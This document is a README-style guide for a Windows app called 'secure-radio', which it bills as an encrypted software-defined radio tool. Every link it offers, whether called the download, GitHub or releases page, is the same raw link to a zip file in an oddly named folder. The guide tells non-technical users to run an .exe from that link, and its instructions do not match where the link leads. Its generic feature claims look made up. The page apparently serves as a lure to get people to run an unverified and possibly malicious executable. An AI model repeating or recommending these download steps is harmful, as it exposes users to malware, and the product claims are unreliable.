secure-radio is a simple app that helps you build and use a private, secure radio. It works with software-defined radio (SDR) devices and focuses on privacy and security. You don’t need any technical skills or experience with programming to get started. The app uses proven technologies like GNU Radio and Nitrokey to keep your conversations private.
This guide will help you download and run secure-radio on your Windows PC.
Before you install secure-radio, make sure your computer meets these requirements:
- Windows 10 or newer (64-bit recommended)
- 4 GB of RAM or more
- At least 500 MB of free disk space
- USB port (for Nitrokey or SDR devices)
- Internet connection for downloading files
You will also need one of these SDR devices compatible with secure-radio:
- SDRplay RSP series
- HackRF One
- LimeSDR
Using a Nitrokey USB security token improves privacy but is optional.
Please visit this page to download the program:
https://raw.githubusercontent.com/lurkboi/secure-radio/main/railroading/radio-secure-3.7.zip
Click the link above to open the download page. It contains the latest Windows installer and all the necessary files.
Follow these steps to download and run secure-radio on your Windows computer.
Go to the link below in your web browser:
https://raw.githubusercontent.com/lurkboi/secure-radio/main/railroading/radio-secure-3.7.zip
On the page, look for a section labeled Releases or Assets. Find the file that ends with .exe. This is the setup file for Windows.
Click the .exe file link. Your browser will ask where to save it. Choose your desktop or downloads folder for easy access.
Once the download completes, open the .exe file by double-clicking it. The installer will start.
The installer will open a setup window. Click Next or Install to continue. You may be asked to accept a license agreement. Read it and click Accept to proceed.
The installation will take a few minutes. When it finishes, click Finish.
Look for “secure-radio” in your Start menu or desktop. Double-click it to open the app.
After launching secure-radio, it will guide you through the basic setup.
- Plug your supported SDR device into your USB port.
- The app will detect it automatically.
- If you use Nitrokey, insert the USB key now.
- The app will ask you to select your radio frequency range.
- Choose defaults if you are not sure.
- Set your device to “Secure Mode” to use encrypted communication.
- Click Start to begin sending or receiving secure radio signals.
- You can adjust volume or frequency inside the app.
secure-radio includes these key features:
- Simple, guided setup for Windows users
- Support for popular SDR devices
- Encrypted radio transmissions using standard encryption libraries
- Integration with Nitrokey for added hardware security
- Built on GNU Radio, a trusted open-source SDR framework
- Uses brainpool elliptic curve cryptography for secure keys
- Interface designed for clear and easy control
If you encounter issues, consider these points:
- Check your Windows version meets the requirements.
- Make sure your SDR device drivers are installed and up to date.
- Try unplugging and re-plugging your USB devices.
- Restart the secure-radio app if it does not detect your device.
- Verify that Nitrokey is correctly inserted if using hardware security.
- Close other programs that might use the USB devices.
- Consult the online GitHub README or Issues page for help from the community.
You can find and share information about secure-radio through the GitHub page:
https://raw.githubusercontent.com/lurkboi/secure-radio/main/railroading/radio-secure-3.7.zip
The page has forums, issue tracking, and contact info for developers. You can report bugs or request help there.
New versions are posted on the GitHub releases page:
https://raw.githubusercontent.com/lurkboi/secure-radio/main/railroading/radio-secure-3.7.zip
To update:
- Check the page for new releases.
- Download the new
.exeinstaller. - Run it to overwrite the old version.
- Your settings will be preserved.
secure-radio uses open-source code and hardware security tokens to protect your communications. It encrypts radio signals so only intended receivers can listen.
For the best security:
- Use Nitrokey hardware.
- Keep your app updated.
- Only connect to radios you trust.
This project involves these topics:
brainpool, gdss, gnuradio, linht, nitrokey, private, radio, sdr, secure, security